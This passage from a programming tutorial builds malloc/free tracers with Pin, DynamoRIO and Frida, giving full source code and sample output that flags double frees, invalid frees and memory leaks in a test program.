developer, I’m not, so my code can be a bit scary but hopefully works.
Consider yourself warned.

I’ll also have some global variables. It’s very common to use global variables
in a `Pintool`, have a look at the samples provided to get a feeling of how
they are most commonly used. In my case, I’ll use the following global
variables.

[code]

    map<ADDRINT, bool> MallocMap;
    ofstream LogFile;
    KNOB<string> LogFileName(KNOB_MODE_WRITEONCE, "pintool", "o", "memprofile.out", "Memory trace file name");
[/code]

I already mentioned the `map` container above, again have a look here if you
don’t know how it works. The idea is to `store` in this `MallocMap` the state
of each allocation. The `ADDRINT` type is defined in `pin.h`, and as you can
guess represents a memory address. It will be mapped to a `BOOL` value. If the
`BOOL` value is set to `true` it means it has been deallocated.

The `LogFile` is the output file where I’ll save the output of the `Pintool`.
Lastly, the `KNOB` variable. It is basically a switch supported by our
`Pintool` \(a way to get command arguments to our `Pintool`. This `KNOB`
allows us to specify the name of the log file through the **“o”** switch. Its
default value is “memprofile.out”.

If we look at the `main` function of the code samples, you’ll see that they
are all very similar. And the one below is no exception.

[code]

    int main(int argc, char *argv[])
    {
      PIN_InitSymbols();
      PIN_Init(argc, argv);
      LogFile.open(LogFileName.Value().c_str());
      IMG_AddInstrumentFunction(CustomInstrumentation, NULL);
      PIN_AddFiniFunction(FinalFunc, NULL);
      PIN_StartProgram();
    
      return 0;
    }
[/code]

I have to call `PIN_InitSymbols` before `PIN_Init` because I’m using `Image
instrumentation`, which depends on symbol information. Then I open the log
file for writing, and I call IMG\_AddInstrumentFunction. The instrumentation
function that I’ll be using is called `CustomInstrumentation` and is defined
by me \(not a `Pin` `API` function\). You can call it whatever you want.

Then I have to call PIN\_AddFiniFunction, which is a call to a function to be
executed immediately before the application exits. In this case, my function
is `FinalFunc`.

Finally, I call PIN\_StartProgram to start executing my program. This function
never returns.

So let’s have a look at my `CustomInstrumentation()` function.

[code]

    VOID CustomInstrumentation(IMG img, VOID *v) 
    {
      for (SYM sym = IMG_RegsymHead(img); SYM_Valid(sym); sym = SYM_Next(sym))
      {
        string undFuncName = PIN_UndecorateSymbolName(SYM_Name(sym), UNDECORATION_NAME_ONLY);
    
        if (undFuncName == "malloc")
        {
          RTN allocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
    
          if (RTN_Valid(allocRtn))
          {
            RTN_Open(allocRtn);
    
            // Record Malloc size
            RTN_InsertCall(allocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeMalloc,
              IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END);
    
            // Record Malloc return address
            RTN_InsertCall(allocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterMalloc,
              IARG_FUNCRET_EXITPOINT_VALUE, IARG_END);
    
            RTN_Close(allocRtn);
          }
        }
        else if (undFuncName == "free")
        {
          RTN freeRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
    
          if (RTN_Valid(freeRtn))
          {
            RTN_Open(freeRtn);
    
            RTN_InsertCall(freeRtn, IPOINT_BEFORE, (AFUNPTR)LogFree,
              IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
              IARG_END);
    
            RTN_Close(freeRtn);
          }
        }
      }
    }
[/code]

We need to “tell” `Pin` what are the `instrumentation` routines, and when to
execute them. The instrumentation routine above is called every time an
`image` is loaded, and then we also “tell” `Pin` where to insert the
`analysis` routines.

Basically, above, when we find a call to `malloc` or `free` we insert the
analysis routines by using the RTN\_InsertCall function.

The `RTN_InsertCall` accepts multiple arguments, a variable number of
arguments actually. Three are quite important, and you can easily guess which
ones by looking at these calls. The first is the routine we want to
instrument. The second is an IPOINT that determines where the analysis call is
inserted relative to the instrumented object. And the third is the analysis
routine to be inserted.

Also, note that all `RTN_InsertCall` functions must be preceded by a call to
`RTN_Open` and followed by a call to `RTN_Close`.

We can specify a list of arguments to be passed to the analysis routine, and
this list must be terminated with IARG\_END. As we can also guess by looking
at the code, to pass the return value of `malloc` to the analysis routine we
use IARG\_FUNCRET\_EXITPOINT\_VALUE. To pass the argument of the `malloc` or
`free` calls to the analysis routine, we use IARG\_FUNCARG\_ENTRYPOINT\_VALUE
followed by the index of the argument. In our case, both are `0` \(first and
only argument\).

All the `Pin` functions that operate at the routine level start with `RTN_`.
Have a look at the `RTN Routine Object` documentation here.

Also, all the `Pin` functions that operate at the `image` level start with
`IMG_`. Have a look at the `IMG Image Object` documentation here.

The same applies to all the `Pin` functions that operate at the `symbol`
level, they all \(or almost all\) start with `SYM_`. Have a look at the `SYM
Symbol Object` documentation here.

You might be thinking how `Pin` finds `malloc` and `free`. `Pin` will use
whatever symbol information is available. Debug symbols from the target/guest
program if available, `PDB` files if available, export tables, and dbghelp.
There are two possible methods to `instrument` our functions. We can use
RTN\_FindByName, or alternatively handling name-mangling and multiple symbols
\(the method I used\) as shown below.

[code]

      for (SYM sym = IMG_RegsymHead(img); SYM_Valid(sym); sym = SYM_Next(sym))
      {
        string undFuncName = PIN_UndecorateSymbolName(SYM_Name(sym), UNDECORATION_NAME_ONLY);
    
        if (undFuncName == "malloc") // find the malloc function
[/code]

After we find the calls \(`malloc` and `free` in our example\) we want to
instrument, we “tell” `Pin` which function must be called every time a
`malloc` call is executed.

[code]

            // Record Malloc size
            RTN_InsertCall(allocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeMalloc,
              IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END);
    
            // Record Malloc return address
            RTN_InsertCall(allocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterMalloc,
              IARG_FUNCRET_EXITPOINT_VALUE, IARG_END);
[/code]

If we look at the code above, we have two calls to RTN\_InsertCall. In the
first, we “tell” `Pin` which function must be called before the `malloc` call.
In the second we “tell” `Pin` which function must be called after the `malloc`
call. We want to log the allocation sizes and the return value of the `malloc`
call. So, we need both.

For the `free` call, we are only interested in its parameter \(the address of
the memory to free\).

[code]

    RTN_InsertCall(freeRtn, IPOINT_BEFORE, (AFUNPTR)LogFree,
      IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
      IARG_END);
[/code]

These three functions are very straightforward. First, before the `malloc`
call we just want to save the size of the memory being allocated.

[code]

    VOID LogBeforeMalloc(ADDRINT size)
    {
      LogFile << "[*] malloc(" << dec << size << ")";
    }
[/code]

After the `malloc` call, we just want to save the return address. However, as
we can see below, we use the `map` container and by using an `iterator` we
check if the chunk of memory is being allocated for the first time. If yes, we
also log it.

[code]

    VOID LogAfterMalloc(ADDRINT addr)
    {
      if (addr == NULL)
      {
        cerr << "[-] Error: malloc() return value was NULL. Heap full!?!";
        return;
      }
    
      map<ADDRINT, bool>::iterator it = MallocMap.find(addr);
    
      if (it != MallocMap.end())
      {
        if (it->second)
          it->second = false;
        else
          cerr << "[-] Error: allocating memory not freed!?!" << endl;
      }
      else
      {
        MallocMap.insert(pair<ADDRINT, bool>(addr, false));
        LogFile << "\t\t= 0x" << hex << addr << endl;
      }
    }
[/code]

Finally, when we `free` a chunk of memory we verify if that address was
already freed to detect double frees. Plus, if we don’t know the address being
freed then we are trying to free memory that wasn’t allocated before. Which
can lead to undefined behavior?

[code]

    VOID LogFree(ADDRINT addr) 
    {
      map<ADDRINT, bool>::iterator it = MallocMap.find(addr);
    
      if (it != MallocMap.end()) 
      {
        if (it->second) 
          LogFile << "[*] Memory at address 0x" << hex << addr << " has been freed more than once."  << endl; // Double free
        else 
        {
          it->second = true;    // Mark it as freed
          LogFile << "[*] free(0x" << hex << addr << ")" << endl;
        }
      }
      else 
        LogFile << "[*] Freeing unallocated memory at address 0x" << hex << addr << "." << endl;    // Freeing unallocated memory
    }
[/code]

Lastly, we have the call to `FinalFunc`, which is executed just before the
program ends. We basically verify if there’s memory that has been allocated
but not freed, and we close our log file. The return of this function marks
the end of the instrumentation.

[code]

    VOID FinalFunc(INT32 code, VOID *v) 
    {
      for (pair<ADDRINT, bool> p : MallocMap) 
      {
        if (!p.second) 
          LogFile << "[*] Memory at address 0x" << hex << p.first << " allocated but not freed" << endl;
      }
    
      LogFile.close();
    }
[/code]

Simple.

The whole `Pintool` code is below. You can also get the whole `Visual Studio`
project from GitHub here.

[code]

    // Built on top of https://software.intel.com/sites/default/files/managed/62/f4/cgo2013.pdf (slide 33)
    
    #include "pin.h"
    #include <iostream>
    #include <fstream>
    #include <map>
    
    map<ADDRINT, bool> MallocMap;
    ofstream LogFile;
    KNOB<string> LogFileName(KNOB_MODE_WRITEONCE, "pintool", "o", "memprofile.out", "Memory trace file name");
    
    VOID LogAfterMalloc(ADDRINT addr)
    {
      if (addr == NULL)
      {
        cerr << "[-] Error: malloc() return value was NULL. Heap full!?!";
        return;
      }
    
      map<ADDRINT, bool>::iterator it = MallocMap.find(addr);
    
      if (it != MallocMap.end())
      {
        if (it->second)
          it->second = false;
        else
          cerr << "[-] Error: allocating memory not freed!?!" << endl;
      }
      else
      {
        MallocMap.insert(pair<ADDRINT, bool>(addr, false));
        LogFile << "\t\t= 0x" << hex << addr << endl;
      }
    }
    
    VOID LogBeforeMalloc(ADDRINT size)
    {
      LogFile << "[*] malloc(" << dec << size << ")";
    }
    
    VOID LogFree(ADDRINT addr) 
    {
      map<ADDRINT, bool>::iterator it = MallocMap.find(addr);
    
      if (it != MallocMap.end()) 
      {
        if (it->second) 
          LogFile << "[*] Memory at address 0x" << hex << addr << " has been freed more than once."  << endl; // Double free
        else 
        {
          it->second = true;    // Mark it as freed
          LogFile << "[*] free(0x" << hex << addr << ")" << endl;
        }
      }
      else 
        LogFile << "[*] Freeing unallocated memory at address 0x" << hex << addr << "." << endl;
    }
    
    VOID CustomInstrumentation(IMG img, VOID *v) 
    {
      for (SYM sym = IMG_RegsymHead(img); SYM_Valid(sym); sym = SYM_Next(sym))
      {
        string undFuncName = PIN_UndecorateSymbolName(SYM_Name(sym), UNDECORATION_NAME_ONLY);
    
        if (undFuncName == "malloc")
        {
          RTN allocRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
    
          if (RTN_Valid(allocRtn))
          {
            RTN_Open(allocRtn);
    
            // Record Malloc size
            RTN_InsertCall(allocRtn, IPOINT_BEFORE, (AFUNPTR)LogBeforeMalloc,
              IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END);
    
            // Record Malloc return address
            RTN_InsertCall(allocRtn, IPOINT_AFTER, (AFUNPTR)LogAfterMalloc,
              IARG_FUNCRET_EXITPOINT_VALUE, IARG_END);
    
            RTN_Close(allocRtn);
          }
        }
        else if (undFuncName == "free")
        {
          RTN freeRtn = RTN_FindByAddress(IMG_LowAddress(img) + SYM_Value(sym));
    
          if (RTN_Valid(freeRtn))
          {
            RTN_Open(freeRtn);
    
            RTN_InsertCall(freeRtn, IPOINT_BEFORE, (AFUNPTR)LogFree,
              IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
              IARG_END);
    
            RTN_Close(freeRtn);
          }
        }
      }
    }
    
    VOID FinalFunc(INT32 code, VOID *v) 
    {
      for (pair<ADDRINT, bool> p : MallocMap) 
      {
        if (!p.second) 
          LogFile << "[*] Memory at address 0x" << hex << p.first << " allocated but not freed" << endl;
      }
    
      LogFile.close();
    }
    
    int main(int argc, char *argv[])
    {
      PIN_InitSymbols();
      PIN_Init(argc, argv);
      LogFile.open(LogFileName.Value().c_str());
      IMG_AddInstrumentFunction(CustomInstrumentation, NULL);
      PIN_AddFiniFunction(FinalFunc, NULL);
      PIN_StartProgram();
    
      return 0;
    }
[/code]

If you run it against our `ExercisePin.exe` \(see the section `Target/Guest
Program`\) binary.

[code]

    C:\pin>pin -t c:\pin\source\tools\MallocTracer\Release\MallocTracer.dll -- ExercisePin.exe
    done
    
    C:\pin>type memprofile.out
    [*] Freeing unallocated memory at address 0x0.
    [*] malloc(2)   = 0x564f68
    [*] malloc(128)   = 0x569b88
    [*] malloc(128)   = 0x569c10
    [*] malloc(128)   = 0x569c98
    [*] free(0x569b88)
    [*] free(0x569c98)
    [*] malloc(2)   = 0x564e78
    [*] Memory at address 0x564e78 allocated but not freed
    [*] Memory at address 0x564f68 allocated but not freed
    [*] Memory at address 0x569c10 allocated but not freed
    
[/code]

Or, if we pass any data as an argument to our `ExercisePin.exe`…

[code]

    C:\pin>pin.exe -t "C:\pin\source\tools\MallocTracer\Release\MallocTracer.dll" -- C:\TARGET\ExercisePin.exe moo
    
    C:\pin>type memprofile.out
    [*] Freeing unallocated memory at address 0x0.
    [*] malloc(2)   = 0x214f78
    [*] malloc(128)   = 0x218f98
    [*] malloc(128)   = 0x219020
    [*] malloc(128)   = 0x2190a8
    [*] free(0x218f98)
    [*] free(0x2190a8)
    [*] Memory at address 0x2190a8 has been freed more than once (Double Free).
    
[/code]

As we can see above, our `Pintool` was able to identify all the issues we were
aware of in our test case. That is, `invalid free`, `memory leaks`, and a
`double free`. The reason why we don’t see the memory leaks in the last
output, it’s because our binary crashes when the double free happens. The
binary was built with `Visual Studio`, which adds some `Heap` integrity checks
and makes it crash. If you build `ExercisePin.exe` with `gcc`, or another
compiler, the `double free` won’t be noticed and the program will keep
running. However, if you build it with `gcc`, for example, you’ll see many
other `malloc` and `free` calls from the `C Run-Time` Library initialization
code. Hence, I didn’t use `gcc` to make it easier to follow.

### Basic DynamoRIO client \(MallocWrap\)

We’ll create a `DynamoRIO client` that mimics the `Pintool` above. That is,
we’ll log all the `malloc` and `free` calls. The same way, the
`instrumentation` is added before and after the `malloc` call since we want to
log the parameter passed to the call and its return value. For the `free`
call, we’ll only look at its parameter, and not at its return value. So the
instrumentation is only added before the call.

We’ll use the drwrap `DynamoRIO` extension, which provides function wrapping
and replacing support, `drwrap` uses the drmgr extension to ensure its events
occur at the proper order.

We start with some “standard” includes, and to use the `DynamoRIO` `APIs` we
need to include `dr_api.h`.

[code]

    #include "stdafx.h"
    #include <fstream>
    #include "dr_api.h"
    #include "drmgr.h"
    #include "drwrap.h"
    using namespace std;
[/code]

Additionally, we include the headers for the extensions mentioned above. That
is, `drmgr.h` and `drwrap.h`. We’ll write the output of this `DynamoRIO
client` to a text file, hence the `fstream` include. I won’t use a container
in this example to keep track of the memory allocations. You can just copy and
paste that functionality from the `Pintool` above with slight modifications,
so I’ll leave that for you as an exercise. In this example, we’ll simply log
`malloc` and `free` calls to demonstrate how to use the `DynamoRIO` `API` to
accomplish the same as before, where we used `Pin`.

Then, we have the functions’ declaration, and some global variables.

[code]

    static void event_exit(void);
    static void wrap_malloc_pre(void *wrapcxt, OUT void **user_data);
    static void wrap_malloc_post(void *wrapcxt, void *user_data);
    static void wrap_free_pre(void *wrapcxt, OUT void **user_data);
    
    ofstream LogFile;
    #define MALLOC_ROUTINE_NAME "malloc"
    #define FREE_ROUTINE_NAME "free"
[/code]

These are all cosmetic, we could have used these `#define`s in our `Pintool`
too. We didn’t, the reason being is… we don’t have to. Feel free to adopt the
style you want. I built this example on top of this one, so I ended up using
more or less the same “style”. If you plan to port your `client` or `Pintool`
to other platforms, this can be considered a good practice because it will
make the changes easier.

Next, we have a function called `module_load_event`, which his a `callback`
function registered by the drmgr\_register\_module\_load\_event. `DynamoRIO`
will call this function whenever the application loads a module. As you can
see, not that different from `Pin`.

[code]

    static void module_load_event(void *drcontext, const module_data_t *mod, bool loaded)
    {
      app_pc towrap = (app_pc)dr_get_proc_address(mod->handle, MALLOC_ROUTINE_NAME);
      if (towrap != NULL)
      {
        bool ok = drwrap_wrap(towrap, wrap_malloc_pre, wrap_malloc_post);
    
        if (!ok)
        {
          dr_fprintf(STDERR, "[-] Could not wrap 'malloc': already wrapped?\n");
          DR_ASSERT(ok);
        }
      }
    
      towrap = (app_pc)dr_get_proc_address(mod->handle, FREE_ROUTINE_NAME);
      if (towrap != NULL)
      {
        bool ok = drwrap_wrap(towrap, wrap_free_pre, NULL);
    
        if (!ok)
        {
          dr_fprintf(STDERR, "[-] Could not wrap 'free': already wrapped?\n");
          DR_ASSERT(ok);
        }
      }
    }
[/code]

As we can see above, we then use dr\_get\_proc\_address to get the entry point
of `malloc`. If it doesn’t return `NULL` \(on failure\), then we use
drwrap\_wrap to wrap the application function by calling `wrap_malloc_pre()`
prior to every invocation of the original function \(`malloc`\) and calling
`wrap_malloc_post()` after every invocation of the original function
\(`malloc`\). Again, conceptually, very close to what we did with `Pin`.

We do the same with `free`. However, as stated before we are only interested
in the `free` parameter and not its return value. So we only wrap the `free`
call prior to every invocation \(`wrap_free_pre`\). Since we don’t care about
its return value we just pass `NULL` as the third parameter to `drwrap_wrap`.
With `drwrap_wrap` one of the callbacks can be `NULL`, but not both.

We then have the dr\_client\_main, which is, let’s say, our `main` function.
`DynamoRIO` looks up `dr_client_main` in each client library and calls that
function when the process starts.

We have a pretty common “main”, with calls to dr\_set\_client\_name \(which
sets information presented to users in diagnostic messages\), dr\_log \(which
simply writes to `DynamoRIO`’s log file\), and a couple of functions that you
can guess what they do by its name.

Additionally, drmgr\_init, and drwrap\_init, initialize the respective
extensions. The dr\_register\_exit\_event is pretty much the same as the `Pin`
`PIN_AddFiniFunction`, which is a call to a function to be executed
immediately before the application exits.

Lastly, we have the call to `drmgr_register_module_load_event` that we already
mentioned above.

[code]

    DR_EXPORT void dr_client_main(client_id_t id, int argc, const char *argv[])
    {
      LogFile.open("memprofile.out");
    
      dr_set_client_name("DynamoRIO Sample Client 'wrap'", "http://dynamorio.org/issues");
      dr_log(NULL, LOG_ALL, 1, "Client 'wrap' initializing\n");
    
      if (dr_is_notify_on()) 
      {
        dr_enable_console_printing();
        dr_fprintf(STDERR, "[*] Client wrap is running\n");
      }
    
      drmgr_init();
      drwrap_init();
      dr_register_exit_event(event_exit);
      drmgr_register_module_load_event(module_load_event);
    }
[/code]

The function to be executed immediately before the application exits. Nothing
special here.

[code]

    static void event_exit(void)
    {
      drwrap_exit();
      drmgr_exit();
    }
[/code]

And lastly, the `callback` functions already mentioned before. What’s relevant
here? The call drwrap\_get\_arg, that as we can guess _“Returns the value of
the arg-th argument \(0-based\) to the wrapped function represented by
wrapcxt. Assumes the regular C calling convention \(i.e., no fastcall\). May
only be called from a drwrap\_wrap pre-function callback. To access argument
values in a post-function callback, store them in the user\_data parameter
passed between the pre and post functions.”_. And the call
drwrap\_get\_retval, which obviously returns the return value of the wrapped
function.

[code]

    static void wrap_malloc_pre(void *wrapcxt, OUT void **user_data)
    {
      /* malloc(size) or HeapAlloc(heap, flags, size) */
      //size_t sz = (size_t)drwrap_get_arg(wrapcxt, 2); // HeapAlloc
      size_t sz = (size_t)drwrap_get_arg(wrapcxt, 0); // malloc
    
      LogFile << "[*] malloc(" << dec << sz << ")"; // log the malloc size
    }
    
    static void wrap_malloc_post(void *wrapcxt, void *user_data)
    {
      int actual_read = (int)(ptr_int_t)drwrap_get_retval(wrapcxt);
      LogFile << "\t\t= 0x" << hex << actual_read << endl;
    }
    
    static void wrap_free_pre(void *wrapcxt, OUT void **user_data)
    {
      int addr = (int)drwrap_get_arg(wrapcxt, 0);
      LogFile << "[*] free(0x" << hex << addr << ")" << endl;
    }
[/code]

Very simple, and not that different from what we have seen before with `Pin`.

The whole `DynamoRIO client` code is below. You can also get the whole `Visual
Studio` project from GitHub here.

[code]

    #include "stdafx.h"
    #include <fstream>
    #include "dr_api.h"
    #include "drmgr.h"
    #include "drwrap.h"
    using namespace std;
    
    static void event_exit(void);
    static void wrap_malloc_pre(void *wrapcxt, OUT void **user_data);
    static void wrap_malloc_post(void *wrapcxt, void *user_data);
    static void wrap_free_pre(void *wrapcxt, OUT void **user_data);
    
    ofstream LogFile;
    #define MALLOC_ROUTINE_NAME "malloc"
    #define FREE_ROUTINE_NAME "free"
    
    static void module_load_event(void *drcontext, const module_data_t *mod, bool loaded)
    {
      app_pc towrap = (app_pc)dr_get_proc_address(mod->handle, MALLOC_ROUTINE_NAME);
      if (towrap != NULL)
      {
        bool ok = drwrap_wrap(towrap, wrap_malloc_pre, wrap_malloc_post);
    
        if (!ok)
        {
          dr_fprintf(STDERR, "[-] Could not wrap 'malloc': already wrapped?\n");
          DR_ASSERT(ok);
        }
      }
    
      towrap = (app_pc)dr_get_proc_address(mod->handle, FREE_ROUTINE_NAME);
      if (towrap != NULL)
      {
        bool ok = drwrap_wrap(towrap, wrap_free_pre, NULL);
    
        if (!ok)
        {
          dr_fprintf(STDERR, "[-] Could not wrap 'free': already wrapped?\n");
          DR_ASSERT(ok);
        }
      }
    }
    
    DR_EXPORT void dr_client_main(client_id_t id, int argc, const char *argv[])
    {
      LogFile.open("memprofile.out");
    
      dr_set_client_name("DynamoRIO Sample Client 'wrap'", "http://dynamorio.org/issues");
      dr_log(NULL, LOG_ALL, 1, "Client 'wrap' initializing\n");
    
      if (dr_is_notify_on()) 
      {
        dr_enable_console_printing();
        dr_fprintf(STDERR, "[*] Client wrap is running\n");
      }
    
      drmgr_init();
      drwrap_init();
      dr_register_exit_event(event_exit);
      drmgr_register_module_load_event(module_load_event);
    }
    
    static void event_exit(void)
    {
      drwrap_exit();
      drmgr_exit();
    }
    
    static void wrap_malloc_pre(void *wrapcxt, OUT void **user_data)
    {
      /* malloc(size) or HeapAlloc(heap, flags, size) */
      //size_t sz = (size_t)drwrap_get_arg(wrapcxt, 2); // HeapAlloc
      size_t sz = (size_t)drwrap_get_arg(wrapcxt, 0); // malloc
    
      LogFile << "[*] malloc(" << dec << sz << ")"; // log the malloc size
    }
    
    static void wrap_malloc_post(void *wrapcxt, void *user_data)
    {
      int actual_read = (int)(ptr_int_t)drwrap_get_retval(wrapcxt);
      LogFile << "\t\t= 0x" << hex << actual_read << endl;
    }
    
    static void wrap_free_pre(void *wrapcxt, OUT void **user_data)
    {
      int addr = (int)drwrap_get_arg(wrapcxt, 0);
      LogFile << "[*] free(0x" << hex << addr << ")" << endl;
    }
[/code]

If you run it against our `ExercisePin.exe` \(see the section `Target/Guest
Program`\) binary.

[code]

    C:\dynamorio\bin32>drrun.exe -client "C:\Users\bob\Desktop\WRKDIR\MallocWrap\Release\MallocWrap.dll" 0 "" c:\Users\bob\Desktop\ExercisePin.exe
    [*] Client wrap is running
    done
    C:\dynamorio\bin32>type memprofile.out
    [*] free(0x0)
    [*] malloc(2)   = 0x5a35d0
    [*] malloc(128)   = 0x5a9c50
    [*] malloc(128)   = 0x5a9cd8
    [*] malloc(128)   = 0x5a9d60
    [*] free(0x5a9c50)
    [*] free(0x5a9d60)
    [*] malloc(2)   = 0x5a34e0
    
[/code]

We can extend this program to get the exact same functionality as our
`Pintool` and check for memory corruption bugs instead of logging the calls
only. I’ll leave that as an exercise for you.

## Basic Frida script \(MallocLogger\)

`Frida` is a fast-growing `DBI` framework, mainly used in mobile devices. I
haven’t played much with mobile applications in a long time \(it’s about to
change though\), still, I wanted to give `Frida` a try because I heard good
things about it, and it also supports `Windows`. The interesting part here is
that `Frida` injects a `JavaScript` interpreter in the target/guest program.
So, instead of writing `C` code, we’ll be writing `JavaScript` to instrument
our program \(actually, if we want we can also use `C` or `Swift`\). You can
see this as an advantage, or disadvantage. If you are a vulnerability hunter,
and you like to poke around browsers then this should be an advantage, I
guess. It’s actually very interesting that we are writing `instrumentation`
code to manipulate low-level instructions by using a high-level language.

You can find the `JavaScript API` here. Anyway, the use case will be exactly
the same as the ones we saw before.

While the `instrumentation` code has to be written in `JavaScript` \(well,
again, that’s not true but let’s use `JavaScript` because it’s cool\), the
resulting tools can be written in either `Python` or `JavaScript`.

We’ll use Frida’s `Interceptor` to `trace` all `malloc` and `free` calls for a
start. The target will be our `ExercisePin.exe` binary again. We’ll also try
to create an output close to the one of our basic `MallocTracer` `Pintool`,
and `MallocWrap` `DynamoRIO client`. Which means we’ll log the amount of
memory requested, the return address of `malloc` and the argument of `free`.

Here’s the sample `MallocLogger.py` `Python` script.

[code]

    #!/usr/bin/env python
    import frida
    import sys
    
    pid = frida.spawn(['ExercisePin.exe'])
    session = frida.attach(pid)
    
    contents = open('mallocLogger.js').read()
    script = session.create_script(contents)
    script.load()
    frida.resume(pid)
    sys.stdin.read()
[/code]

And below is the instrumentation `JavaScript` file, `MallocLogger.js`.

[code]

    // Interceptor for 'malloc'
    Interceptor.attach(Module.findExportByName(null, 'malloc'),
        {
          // Log before malloc
          onEnter: function (args) {
            console.log("malloc(" + args[0].toInt32() + ")");
          },
          // Log after malloc
          onLeave: function (retval) {
            console.log("\t\t= 0x" + retval.toString(16));
          }
        });
    
    // Interceptor for 'free'
    Interceptor.attach(Module.findExportByName(null, 'free'),
        {
          onEnter: function (args) {
            console.log("free(0x" + args[0].toString(16) + ")");
          }
        });
[/code]

If we run this `Python` script we get something like.

[code]

    C:\Users\bob\Desktop\frida>python MallocLogger.py
    free(0x0)
    malloc(2)
                    = 0x984268
    malloc(128)
                    = 0x9856d8
    malloc(128)
                    = 0x985760
    malloc(128)
                    = 0x9857e8
    done
    free(0x9856d8)
    free(0x9857e8)
    malloc(2)
                    = 0x984278
    
[/code]

Interestingly enough, `Frida` also comes with an utility `frida-trace.exe`
that pretty much allows us to do the exact same thing we did above without
writing almost any code \(besides adding a bit more of information and
tweaking the output\).

[code]

    C:\Users\bob\Desktop\frida>frida-trace -i malloc -i free .\ExercisePin.exe
    Instrumenting functions...
    malloc: Auto-generated handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\msvcrt.dll\malloc.js"
    malloc: Auto-generated handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\ucrtbase.DLL\malloc.js"
    free: Auto-generated handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\msvcrt.dll\free.js"
    free: Auto-generated handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\ucrtbase.DLL\free.js"
    Started tracing 4 functions. Press Ctrl+C to stop.
    done
               /* TID 0x1f84 */
       125 ms  free()
       125 ms  malloc()
       125 ms  malloc()
       125 ms  malloc()
       125 ms  malloc()
       125 ms  free()
       125 ms  free()
       125 ms  malloc()
    Process terminated
    
[/code]

If you look at the output above you can see that some `JavaScript` handlers
were auto-generated. We can just tweak this `JavaScript` code to make the
output look as before. If we open for example the file
`__handlers__\msvcrt.dll\malloc.js` we’ll see something like:

[code]

    /*
     * Auto-generated by Frida. Please modify to match the signature of malloc.
     * This stub is currently auto-generated from manpages when available.
     *
     * For full API reference, see: http://www.frida.re/docs/javascript-api/
     */
    
    {
      /**
       * Called synchronously when about to call malloc.
       *
       * @this {object} - Object allowing you to store state for use in onLeave.
       * @param {function} log - Call this function with a string to be presented to the user.
       * @param {array} args - Function arguments represented as an array of NativePointer objects.
       * For example use Memory.readUtf8String(args[0]) if the first argument is a pointer to a C string encoded as UTF-8.
       * It is also possible to modify arguments by assigning a NativePointer object to an element of this array.
       * @param {object} state - Object allowing you to keep state across function calls.
       * Only one JavaScript function will execute at a time, so do not worry about race-conditions.
       * However, do not use this to store function arguments across onEnter/onLeave, but instead
       * use "this" which is an object for keeping state local to an invocation.
       */
      onEnter: function (log, args, state) {
        log("malloc()");
      },
    
      /**
       * Called synchronously when about to return from malloc.
       *
       * See onEnter for details.
       *
       * @this {object} - Object allowing you to access state stored in onEnter.
       * @param {function} log - Call this function with a string to be presented to the user.
       * @param {NativePointer} retval - Return value represented as a NativePointer object.
       * @param {object} state - Object allowing you to keep state across function calls.
       */
      onLeave: function (log, retval, state) {
      }
    }
[/code]

We just need to tweak the `onEnter` and `onLeave` functions. For example.

[code]

    /*
     * Auto-generated by Frida. Please modify to match the signature of malloc.
     * This stub is currently auto-generated from manpages when available.
     *
     * For full API reference, see: http://www.frida.re/docs/javascript-api/
     */
    
    {
      /**
       * Called synchronously when about to call malloc.
       *
       * @this {object} - Object allowing you to store state for use in onLeave.
       * @param {function} log - Call this function with a string to be presented to the user.
       * @param {array} args - Function arguments represented as an array of NativePointer objects.
       * For example use Memory.readUtf8String(args[0]) if the first argument is a pointer to a C string encoded as UTF-8.
       * It is also possible to modify arguments by assigning a NativePointer object to an element of this array.
       * @param {object} state - Object allowing you to keep state across function calls.
       * Only one JavaScript function will execute at a time, so do not worry about race-conditions.
       * However, do not use this to store function arguments across onEnter/onLeave, but instead
       * use "this" which is an object for keeping state local to an invocation.
       */
      onEnter: function (log, args, state) {
        log("malloc(" + args[0].toInt32() + ")");
      },
    
      /**
       * Called synchronously when about to return from malloc.
       *
       * See onEnter for details.
       *
       * @this {object} - Object allowing you to access state stored in onEnter.
       * @param {function} log - Call this function with a string to be presented to the user.
       * @param {NativePointer} retval - Return value represented as a NativePointer object.
       * @param {object} state - Object allowing you to keep state across function calls.
       */
      onLeave: function (log, retval, state) {
        log("\t\t= 0x" + retval.toString(16));
      }
    }
[/code]

Now, if we run again the exact same command as before we’ll get the following.

[code]

    C:\Users\bob\Desktop\frida>frida-trace -i malloc -i free .\ExercisePin.exe
    Instrumenting functions...
    malloc: Loaded handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\msvcrt.dll\malloc.js"
    malloc: Loaded handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\ucrtbase.DLL\malloc.js"
    free: Loaded handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\msvcrt.dll\free.js"
    free: Loaded handler at "C:\Users\bob\Desktop\frida\tmp\__handlers__\ucrtbase.DLL\free.js"
    Started tracing 4 functions. Press Ctrl+C to stop.
    done
               /* TID 0x23e4 */
        64 ms  free(0x0)
        64 ms  malloc(2)
        64 ms               = 0x8a42a8
        64 ms  malloc(128)
        64 ms               = 0x8a57a0
        64 ms  malloc(128)
        64 ms               = 0x8a5828
        64 ms  malloc(128)
        64 ms               = 0x8a58b0
        64 ms  free(0x8a57a0)
        64 ms  free(0x8a58b0)
        65 ms  malloc(2)
        65 ms               = 0x8a42b8
    Process terminated
    
[/code]

We can extend this program to get the exact same functionality as our
`Pintool`, and check for memory corruption bugs instead of logging the calls
only. I’ll leave that as an exercise for you.

## Debugging

